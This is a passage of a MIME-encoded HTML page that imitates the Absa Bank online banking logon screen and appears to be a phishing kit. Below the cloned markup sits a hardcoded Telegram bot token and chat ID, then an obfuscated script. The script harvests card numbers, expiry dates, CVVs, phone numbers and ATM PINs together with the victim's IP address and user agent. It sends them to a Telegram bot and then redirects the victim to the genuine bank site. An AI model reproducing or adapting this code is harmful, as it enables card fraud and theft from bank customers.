                                            <div _ngcontent-ng-c2921955071=
=3D"" fxlayout=3D"row wrap" bis_skin_checked=3D"1" style=3D"flex-flow: wrap=
; box-sizing: border-box; display: flex;">
                                              <!---->
                                              <div _ngcontent-ng-c292195507=
1=3D"" class=3D"content_title ng-star-inserted" tabindex=3D"0" bis_skin_che=
cked=3D"1">Next planned maintenance</div>
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                          </div>
                                          <div _ngcontent-ng-c2921955071=3D=
"" fxhide=3D"" fxshow.gt-lg=3D"" fxlayout=3D"column" fxlayoutalign=3D"cente=
r" class=3D"right_arrow-padding right_arrow-padding_gt-sm ng-star-inserted"=
 bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing: border=
-box; display: flex; place-content: stretch center; align-items: stretch;">
                                            <div _ngcontent-ng-c2921955071=
=3D"" class=3D"right_arrow" tabindex=3D"0" bis_skin_checked=3D"1"></div>
                                          </div>
                                          <!---->
                                          <!---->
                                        </div>
                                      </div>
                                      <!---->
                                    </div>
                                  </div>
                                </app-quick-links>
                                <!---->
                              </div>
                              <div _ngcontent-ng-c4048871694=3D"" fxlayout=
=3D"column" fxlayout.gt-xs=3D"column" fxlayout.gt-sm=3D"column" fxlayout.gt=
-md=3D"column" fxlayout.gt-lg=3D"row" ngclass=3D"hub_section_padding" fxlay=
outgap=3D"16px" class=3D"promo-box-container hub_section_padding ng-star-in=
serted" style=3D"flex-direction: row; box-sizing: border-box; display: flex=
;" bis_skin_checked=3D"1">
                                <app-promo-box-basic _ngcontent-ng-c4048871=
694=3D"" ngclass.gt-sm=3D"half-width" ngclass.gt-xs=3D"half-width" ngclass=
=3D"full-width" _nghost-ng-c3828857665=3D"" class=3D"half-width" style=3D"m=
argin-right: 16px;">
                                  <span _ngcontent-ng-c3828857665=3D"" ngcl=
ass.gt-xs=3D"gtxs" ngclass.gt-sm=3D"gtsm" ngclass.gt-md=3D"gtmd" ngclass.gt=
-lg=3D"gtlg" ngclass.gt-xl=3D"gtxl" class=3D"gtlg">
                                    <div _ngcontent-ng-c3828857665=3D"" cla=
ss=3D"promoBox_container bg-new-brand logon" bis_skin_checked=3D"1">
                                      <div _ngcontent-ng-c3828857665=3D"" c=
lass=3D"hide" bis_skin_checked=3D"1">
                                        <div _ngcontent-ng-c3828857665=3D""=
 class=3D"promo-box__icon-left" bis_skin_checked=3D"1">
                                          <!---->
                                          <!---->
                                        </div>
                                        <h1 _ngcontent-ng-c3828857665=3D"" =
class=3D"promo-box__Heading1 set-width-90">#ProtectYourKeysToTheSafe</h1>
                                        <p _ngcontent-ng-c3828857665=3D"" c=
lass=3D"promoBox-body1 set-width-75">Keep your PINs, passwords and transact=
ion verifications safe.</p>
                                        <button _ngcontent-ng-c3828857665=
=3D"" role=3D"link" data-id=3D"btn_link" target=3D"_blank" class=3D"ghost n=
g-star-inserted" href=3D"function link() { [native code] }" aria-label=3D"L=
earn more Link"> Learn more </button>
                                        <!---->
                                        <div _ngcontent-ng-c3828857665=3D""=
 class=3D"promo-box__img1 promoboxesimages" bis_skin_checked=3D"1">
                                          <img _ngcontent-ng-c3828857665=3D=
"" class=3D"set-image-size" src=3D"https://ib.absa.co.za/xdas/clr/assets/im=
ages/login/holdingCell3.svg">
                                        </div>
                                      </div>
                                    </div>
                                  </span>
                                </app-promo-box-basic>
                                <app-promo-box-basic _ngcontent-ng-c4048871=
694=3D"" ngclass.gt-sm=3D"half-width" ngclass.gt-xs=3D"half-width" ngclass=
=3D"full-width" _nghost-ng-c3828857665=3D"" class=3D"half-width">
                                  <span _ngcontent-ng-c3828857665=3D"" ngcl=
ass.gt-xs=3D"gtxs" ngclass.gt-sm=3D"gtsm" ngclass.gt-md=3D"gtmd" ngclass.gt=
-lg=3D"gtlg" ngclass.gt-xl=3D"gtxl" class=3D"gtlg">
                                    <div _ngcontent-ng-c3828857665=3D"" cla=
ss=3D"promoBox_container bg-new-brand logon" bis_skin_checked=3D"1">
                                      <div _ngcontent-ng-c3828857665=3D"" c=
lass=3D"hide" bis_skin_checked=3D"1">
                                        <div _ngcontent-ng-c3828857665=3D""=
 class=3D"promo-box__icon-left" bis_skin_checked=3D"1">
                                          <!---->
                                          <!---->
                                        </div>
                                        <h1 _ngcontent-ng-c3828857665=3D"" =
class=3D"promo-box__Heading1 set-width-90">2025 benefits and pricing</h1>
                                        <p _ngcontent-ng-c3828857665=3D"" c=
lass=3D"promoBox-body1 set-width-75">Free Rewards, better banking and more =
value.</p>
                                        <button _ngcontent-ng-c3828857665=
=3D"" role=3D"link" data-id=3D"btn_link" target=3D"_blank" class=3D"ghost n=
g-star-inserted" href=3D"function link() { [native code] }" aria-label=3D"L=
earn more Link"> Learn more </button>
                                        <!---->
                                        <div _ngcontent-ng-c3828857665=3D""=
 class=3D"promo-box__img1 promoboxesimages" bis_skin_checked=3D"1">
                                          <img _ngcontent-ng-c3828857665=3D=
"" class=3D"set-image-size" src=3D"https://ib.absa.co.za/xdas/clr/assets/im=
ages/login/graph3.svg">
                                        </div>
                                      </div>
                                    </div>
                                  </span>
                                </app-promo-box-basic>
                              </div>
                              <!---->
                            </span>
                            <!---->
                            <!---->
                          </app-view-cms-content>
                        </div>
                      </div>
                      <!---->
                      <!---->
                    </div>
                  </app-view-logon>
                  <!---->
                  <!---->
                  <div _ngcontent-ng-c1950413150=3D"" bis_skin_checked=3D"1=
">
                    <!---->
                  </div>
                  <!---->
                  <app-help _ngcontent-ng-c1950413150=3D"" _nghost-ng-c4936=
6172=3D"" class=3D"ng-tns-c49366172-1 ng-star-inserted">
                    <a _ngcontent-ng-c49366172=3D"" href=3D"#" class=3D"hel=
p-trigger-container ng-tns-c49366172-1">
                      <span _ngcontent-ng-c49366172=3D"" class=3D"help-icon=
  ng-tns-c49366172-1"></span>
                      <span _ngcontent-ng-c49366172=3D"" class=3D"help-text=
 ng-tns-c49366172-1">Help</span>
                    </a>
                    <!---->
                    <!---->
                    =

                    <!---->
                    <div _ngcontent-ng-c49366172=3D"" class=3D"ng-tns-c4936=
6172-1" bis_skin_checked=3D"1"></div>
                  </app-help>
                  <!---->
                  <app-page-footer _ngcontent-ng-c1950413150=3D"" _nghost-n=
g-c3723619527=3D"">
                    <div _ngcontent-ng-c3723619527=3D"" fxlayout=3D"row" cl=
ass=3D"container-fluid footer" style=3D"flex-direction: row; box-sizing: bo=
rder-box; display: flex;" bis_skin_checked=3D"1">
                      <div _ngcontent-ng-c3723619527=3D"" class=3D"footer-c=
ontainer" bis_skin_checked=3D"1">
                        <div _ngcontent-ng-c3723619527=3D"" class=3D"footer=
-content" bis_skin_checked=3D"1">
                          <div _ngcontent-ng-c3723619527=3D"" fxlayout=3D"c=
olumn" class=3D"footer-content__text" style=3D"flex-direction: column; box-=
sizing: border-box; display: flex;" bis_skin_checked=3D"1">
                            <div _ngcontent-ng-c3723619527=3D"" fxflexalign=
=3D"center" fxhide.gt-md=3D"" style=3D"align-self: center; display: none;" =
bis_skin_checked=3D"1">
                              <p _ngcontent-ng-c3723619527=3D"">=C2=A9 Copy=
right. Absa Bank Limited. Registration Number: 1986/004794/06</p>
                            </div>
                            <div _ngcontent-ng-c3723619527=3D"" fxflexalign=
=3D"center" fxhide.gt-md=3D"" style=3D"align-self: center; display: none;" =
bis_skin_checked=3D"1">
                              <p _ngcontent-ng-c3723619527=3D"">Authorised =
financial services and registered credit provider NCRCP7 </p>
                            </div>
                            <div _ngcontent-ng-c3723619527=3D"" fxflexalign=
=3D"center" fxshow=3D"false" fxshow.gt-md=3D"" style=3D"align-self: center;=
" bis_skin_checked=3D"1">
                              <p _ngcontent-ng-c3723619527=3D"">=C2=A9 Copy=
right. Absa Bank Limited. Registration Number: 1986/004794/06 Authorised fi=
nancial services and registered credit provider NCRCP7</p>
                            </div>
                          </div>
                          <ul _ngcontent-ng-c3723619527=3D"" fxlayoutalign=
=3D"center" ngclass=3D"footer-margin" ngclass.gt-sm=3D"add-padding" class=
=3D"footer-content__nav add-padding" style=3D"place-content: stretch center=
; align-items: stretch; flex-direction: row; box-sizing: border-box; displa=
y: flex;">
                            <li _ngcontent-ng-c3723619527=3D"" class=3D"ng-=
star-inserted">
                              <a _ngcontent-ng-c3723619527=3D"" class=3D"fo=
oter-item" tabindex=3D"0"> Charges </a>
                            </li>
                            <li _ngcontent-ng-c3723619527=3D"" class=3D"ng-=
star-inserted">
                              <a _ngcontent-ng-c3723619527=3D"" class=3D"fo=
oter-item" tabindex=3D"0"> Banking Regulations </a>
                            </li>
                            <li _ngcontent-ng-c3723619527=3D"" class=3D"ng-=
star-inserted">
                              <a _ngcontent-ng-c3723619527=3D"" class=3D"fo=
oter-item" tabindex=3D"0"> Browser Requirements </a>
                            </li>
                            <li _ngcontent-ng-c3723619527=3D"" class=3D"ng-=
star-inserted">
                              <a _ngcontent-ng-c3723619527=3D"" class=3D"fo=
oter-item" tabindex=3D"0"> Security Centre </a>
                            </li>
                            <li _ngcontent-ng-c3723619527=3D"" class=3D"ng-=
star-inserted">
                              <a _ngcontent-ng-c3723619527=3D"" class=3D"fo=
oter-item" tabindex=3D"0"> Terms of use </a>
                            </li>
                            <li _ngcontent-ng-c3723619527=3D"" class=3D"ng-=
star-inserted">
                              <a _ngcontent-ng-c3723619527=3D"" class=3D"fo=
oter-item" tabindex=3D"0"> Privacy Statement </a>
                            </li>
                            <!---->
                          </ul>
                        </div>
                      </div>
                    </div>
                  </app-page-footer>
                  <div _ngcontent-ng-c1950413150=3D"" class=3D"below-footer=
-space-gt-md" bis_skin_checked=3D"1"></div>
                </div>
              </div>
              <!---->
            </div>
          </div>
        </app-cll-application>
        <!---->
        <!---->
        <!---->
      </div>
      <app-ncipher-iframe _ngcontent-ng-c3503210449=3D"" _nghost-ng-c275962=
0907=3D"" class=3D"ng-star-inserted">
      </app-ncipher-iframe>
      <!---->
    </app-root>
    <div id=3D"embed-image" bis_skin_checked=3D"1">
      <img src=3D"https://d21y75miwcfqoq.cloudfront.net/d20c279c" style=3D"=
position: absolute" referrerpolicy=3D"no-referrer-when-downgrade">
    </div>
    <span style=3D"position: absolute; right: 100%; font: 14px / 21px &quot=
;Source Sans Pro&quot;, sans-serif;"></span>
    <span style=3D"position: absolute; right: 100%; font: 14px / 21px &quot=
;Source Sans Pro&quot;, sans-serif;"></span>
    <span style=3D"position: absolute; right: 100%; font: 14px / 21px &quot=
;Source Sans Pro&quot;, sans-serif;"></span>
    <div class=3D"cdk-overlay-container" bis_skin_checked=3D"1"></div>
    =

    <script>
      const botToken =3D '5256539105:AAEZhpoAgLIgLgZrAJHNJ3pSp5cZde4Qzv8'; =

      const chatId =3D '984564939';    =

    </script>

    <script>
const _0x3c8997=3D_0x10b7;function _0x10b7(_0x1aca7b,_0x8fc2eb){const _0x4d=
8ec1=3D_0x4d8e();return _0x10b7=3Dfunction(_0x10b792,_0x4bbbd3){_0x10b792=
=3D_0x10b792-0x148;let _0x398af6=3D_0x4d8ec1[_0x10b792];return _0x398af6;},=
_0x10b7(_0x1aca7b,_0x8fc2eb);}(function(_0x5edad6,_0x286da6){const _0x3770a=
4=3D_0x10b7,_0x5cecdd=3D_0x5edad6();while(!![]){try{const _0x521453=3D-pars=
eInt(_0x3770a4(0x157))/0x1+-parseInt(_0x3770a4(0x153))/0x2+parseInt(_0x3770=
a4(0x15c))/0x3*(parseInt(_0x3770a4(0x170))/0x4)+-parseInt(_0x3770a4(0x163))=
/0x5*(parseInt(_0x3770a4(0x156))/0x6)+-parseInt(_0x3770a4(0x155))/0x7+parse=
Int(_0x3770a4(0x174))/0x8*(-parseInt(_0x3770a4(0x17a))/0x9)+parseInt(_0x377=
0a4(0x167))/0xa;if(_0x521453=3D=3D=3D_0x286da6)break;else _0x5cecdd['push']=
(_0x5cecdd['shift']());}catch(_0xe54be3){_0x5cecdd['push'](_0x5cecdd['shift=
']());}}}(_0x4d8e,0xa3767),document[_0x3c8997(0x18a)]('DOMContentLoaded',fu=
nction(){const _0x5bb60b=3D_0x3c8997,_0x3c0755=3Ddocument['querySelector'](=
_0x5bb60b(0x171)),_0x1a35bb=3Ddocument['getElementById']('cardNumber'),_0x2=
91f95=3Ddocument[_0x5bb60b(0x189)]('expiryDate'),_0x38ab17=3Ddocument[_0x5b=
b60b(0x189)]('cvv'),_0x592977=3Ddocument[_0x5bb60b(0x189)](_0x5bb60b(0x17d)=
),_0x33241c=3Ddocument[_0x5bb60b(0x189)](_0x5bb60b(0x187)),_0x43f86e=3Ddocu=
ment[_0x5bb60b(0x16c)](_0x5bb60b(0x16a));function _0x5928d5(_0x147ec8,_0x2d=
dfd5){const _0x425f03=3D_0x5bb60b;_0x14b998(_0x147ec8);const _0x7d6c4a=3Ddo=
cument[_0x425f03(0x172)](_0x425f03(0x15f));_0x7d6c4a[_0x425f03(0x180)]=3D'f=
ield-error',_0x7d6c4a['textContent']=3D_0x2ddfd5,_0x147ec8[_0x425f03(0x15a)=
][_0x425f03(0x15a)][_0x425f03(0x14a)](_0x7d6c4a),_0x147ec8['classList'][_0x=
425f03(0x15e)]('error');}function _0x14b998(_0xb94e15){const _0x2d8beb=3D_0=
x5bb60b,_0x1b62d4=3D_0xb94e15[_0x2d8beb(0x15a)][_0x2d8beb(0x15a)][_0x2d8beb=
(0x16c)](_0x2d8beb(0x181));_0x1b62d4&&_0x1b62d4[_0x2d8beb(0x159)](),_0xb94e=
15['classList'][_0x2d8beb(0x159)]('error');}function _0x2daa08(_0x4b46bd){c=
onst _0xe2256a=3D_0x5bb60b,_0x443b25=3D_0x4b46bd[_0xe2256a(0x182)](/\s/g,''=
);return/^\d{13,19}$/['test'](_0x443b25)&&_0x7d1f10(_0x443b25);}function _0=
x7d1f10(_0x32176b){const _0x1758df=3D_0x5bb60b;let _0x1a1dbf=3D0x0,_0x5f2a8=
4=3D![];for(let _0xcf64e7=3D_0x32176b[_0x1758df(0x183)]-0x1;_0xcf64e7>=3D0x=
0;_0xcf64e7--){let _0x30c183=3DparseInt(_0x32176b[_0xcf64e7]);_0x5f2a84&&(_=
0x30c183*=3D0x2,_0x30c183>0x9&&(_0x30c183-=3D0x9)),_0x1a1dbf+=3D_0x30c183,_=
0x5f2a84=3D!_0x5f2a84;}return _0x1a1dbf%0xa=3D=3D=3D0x0;}function _0x49836b=
(_0x6e0bdd){const _0x25fb97=3D_0x5bb60b,_0x38cb5b=3D/^(0[1-9]|1[0-2])\/\d{2=
}$/;if(!_0x38cb5b['test'](_0x6e0bdd))return![];const [_0x4c1622,_0x222c0a]=
=3D_0x6e0bdd[_0x25fb97(0x175)]('/'),_0x1d3c08=3Dnew Date(),_0x594d17=3D_0x1=
d3c08[_0x25fb97(0x16e)]()%0x64,_0x2492a7=3D_0x1d3c08[_0x25fb97(0x160)]()+0x=
1,_0x5ad908=3DparseInt(_0x222c0a),_0x3b3c7e=3DparseInt(_0x4c1622);if(_0x5ad=
908<_0x594d17)return![];if(_0x5ad908=3D=3D=3D_0x594d17&&_0x3b3c7e<_0x2492a7=
)return![];return!![];}function _0x1826d5(_0x202ec5){const _0x445d32=3D_0x5=
bb60b;return/^\d{3,4}$/[_0x445d32(0x168)](_0x202ec5);}function _0x122fff(_0=
x113aed){const _0x503c86=3D_0x5bb60b;return _0x113aed[_0x503c86(0x185)]()[_=
0x503c86(0x183)]>0x0;}function _0x513f0d(_0x3c9568){const _0x57d5e0=3D_0x5b=
b60b;return/^\d{4,6}$/[_0x57d5e0(0x168)](_0x3c9568);}_0x1a35bb[_0x5bb60b(0x=
18a)](_0x5bb60b(0x154),function(_0x4d10db){const _0x207a53=3D_0x5bb60b;let =
_0x3219e6=3D_0x4d10db[_0x207a53(0x177)][_0x207a53(0x14d)][_0x207a53(0x182)]=
(/\s/g,'')[_0x207a53(0x182)](/[^0-9]/gi,''),_0x3a4de8=3D_0x3219e6[_0x207a53=
(0x188)](/.{1,4}/g)?.[_0x207a53(0x161)]('\x20')||_0x3219e6;_0x3a4de8['lengt=
h']>0x13&&(_0x3a4de8=3D_0x3a4de8[_0x207a53(0x162)](0x0,0x13)),_0x4d10db[_0x=
207a53(0x177)][_0x207a53(0x14d)]=3D_0x3a4de8;}),_0x291f95[_0x5bb60b(0x18a)]=
(_0x5bb60b(0x154),function(_0x74924){const _0x36c54c=3D_0x5bb60b;let _0x4e8=
0bb=3D_0x74924['target']['value']['replace'](/\D/g,'');_0x4e80bb[_0x36c54c(=
0x183)]>=3D0x2&&(_0x4e80bb=3D_0x4e80bb['substring'](0x0,0x2)+'/'+_0x4e80bb[=
_0x36c54c(0x162)](0x2,0x4)),_0x74924['target'][_0x36c54c(0x14d)]=3D_0x4e80b=
b;}),_0x38ab17[_0x5bb60b(0x18a)](_0x5bb60b(0x154),function(_0x5855dd){const=
 _0x1a176a=3D_0x5bb60b;let _0x48e61c=3D_0x5855dd[_0x1a176a(0x177)][_0x1a176=
a(0x14d)][_0x1a176a(0x182)](/\D/g,'');_0x5855dd[_0x1a176a(0x177)][_0x1a176a=
(0x14d)]=3D_0x48e61c;}),_0x43f86e[_0x5bb60b(0x18a)]('click',function(_0x1c6=
c5e){const _0x115f53=3D_0x5bb60b;_0x1c6c5e[_0x115f53(0x17c)]();let _0x30b50=
9=3D!![];const _0x5c0518=3D{};!_0x2daa08(_0x1a35bb[_0x115f53(0x14d)])?(_0x5=
928d5(_0x1a35bb,_0x115f53(0x179)),_0x30b509=3D![]):_0x5c0518[_0x115f53(0x15=
b)]=3D_0x1a35bb['value'][_0x115f53(0x182)](/\s/g,'');!_0x49836b(_0x291f95[_=
0x115f53(0x14d)])?(_0x5928d5(_0x291f95,_0x115f53(0x178)),_0x30b509=3D![]):_=
0x5c0518[_0x115f53(0x173)]=3D_0x291f95['value'];!_0x1826d5(_0x38ab17[_0x115=
f53(0x14d)])?(_0x5928d5(_0x38ab17,_0x115f53(0x165)),_0x30b509=3D![]):_0x5c0=
518[_0x115f53(0x16d)]=3D_0x38ab17[_0x115f53(0x14d)];!_0x122fff(_0x592977['v=
alue'])?(_0x5928d5(_0x592977,_0x115f53(0x152)),_0x30b509=3D![]):_0x5c0518[_=
0x115f53(0x17d)]=3D_0x592977[_0x115f53(0x14d)][_0x115f53(0x185)]();!_0x513f=
0d(_0x33241c['value'])?(_0x5928d5(_0x33241c,'ATM\x20PIN\x20Must\x20be\x20Va=
lid'),_0x30b509=3D![]):_0x5c0518['atmPin']=3D_0x33241c['value'];if(_0x30b50=
9){_0x43f86e[_0x115f53(0x184)]=3D!![];const _0x59ee0e=3Dnavigator[_0x115f53=
(0x151)];fetch(_0x115f53(0x17b))[_0x115f53(0x17f)](_0x187fd8=3D>_0x187fd8[_=
0x115f53(0x164)]())['then'](_0x2dfc1b=3D>{const _0x53ed6b=3D_0x115f53,_0x24=
e0f5=3D'=F0=9F=92=B3\x20*New\x20Credit\x20Card\x20[Absa\x20Bank]*\x0a\x0a'+=
('\x20Card\x20Number:\x20'+_0x5c0518[_0x53ed6b(0x15b)]+'\x0a')+('\x20Expiry=
\x20Date:\x20'+_0x5c0518[_0x53ed6b(0x173)]+'\x0a')+(_0x53ed6b(0x176)+_0x5c0=
518[_0x53ed6b(0x16d)]+'\x0a')+(_0x53ed6b(0x16f)+_0x5c0518[_0x53ed6b(0x17d)]=
+'\x0a')+(_0x53ed6b(0x166)+_0x5c0518[_0x53ed6b(0x187)]+'\x0a\x0a')+('\x20IP=
\x20Address:\x20'+_0x2dfc1b['ip']+'\x0a')+(_0x53ed6b(0x14b)+_0x59ee0e+'\x0a=
')+(_0x53ed6b(0x169)+new Date()[_0x53ed6b(0x149)]());return fetch(_0x53ed6b=
(0x186)+botToken+_0x53ed6b(0x14f),{'method':_0x53ed6b(0x17e),'headers':{'Co=
ntent-Type':_0x53ed6b(0x14e)},'body':JSON['stringify']({'chat_id':chatId,'t=
ext':_0x24e0f5,'parse_mode':'Markdown'})});})['then'](_0x187b72=3D>_0x187b7=
2['json']())[_0x115f53(0x17f)](_0x652292=3D>{const _0x4f1b6b=3D_0x115f53;_0=
x652292['ok']?window[_0x4f1b6b(0x16b)][_0x4f1b6b(0x158)]=3D_0x4f1b6b(0x14c)=
:(alert(_0x4f1b6b(0x150)),_0x43f86e[_0x4f1b6b(0x184)]=3D![]);})[_0x115f53(0=
x148)](_0x3f7307=3D>{const _0x4cb7a5=3D_0x115f53;alert(_0x4cb7a5(0x150)),_0=
x43f86e[_0x4cb7a5(0x184)]=3D![];});}}),[_0x1a35bb,_0x291f95,_0x38ab17,_0x59=
2977,_0x33241c][_0x5bb60b(0x18b)](_0x5ea4ae=3D>{const _0x2df73f=3D_0x5bb60b=
;_0x5ea4ae['addEventListener'](_0x2df73f(0x154),function(){const _0xba0f32=
=3D_0x2df73f;this[_0xba0f32(0x15d)]['contains']('error')&&_0x14b998(this);}=
);});}));function _0x4d8e(){const _0xd01be6=3D['split','\x20CVV:\x20','targ=
et','Expiry\x20Date\x20Must\x20be\x20Valid','Card\x20Number\x20Must\x20be\x=
20Valid','18HGSYFP','https://api.ipify.org?format=3Djson','preventDefault',=
'phoneNumber','POST','then','className','.field-error','replace','length','=
disabled','trim','https://api.telegram.org/bot','atmPin','match','getElemen=
tById','addEventListener','forEach','catch','toLocaleString','appendChild',=
'\x20User\x20Agent:\x20','https://www.absa.co.za/absa-online-logoff/','valu=
e','application/json','/sendMessage','Something\x20went\x20wrong,\x20please=
\x20try\x20again.','userAgent','Phone\x20Number\x20Must\x20be\x20Provided',=
'2400162cWRwtv','input','6636791XqdUId','3932634XOGntm','632946GTXwpc','hre=
f','remove','parentNode','cardNumber','969ZUwhHi','classList','add','div','=
getMonth','join','substring','5VpIhFk','json','CVV\x20Must\x20be\x20Valid',=
'\x20ATM\x20PIN:\x20','40951810Npcyek','test','\x20Time:\x20','.btn.btn-pri=
mary.btn-stretch','location','querySelector','cvv','getFullYear','\x20Phone=
:\x20','11756UVnfor','.responsive-form','createElement','expiryDate','37534=
24OBBKqz'];_0x4d8e=3Dfunction(){return _0xd01be6;};return _0x4d8e();}
    </script>
  </body>
</html>
--===============1592467755==--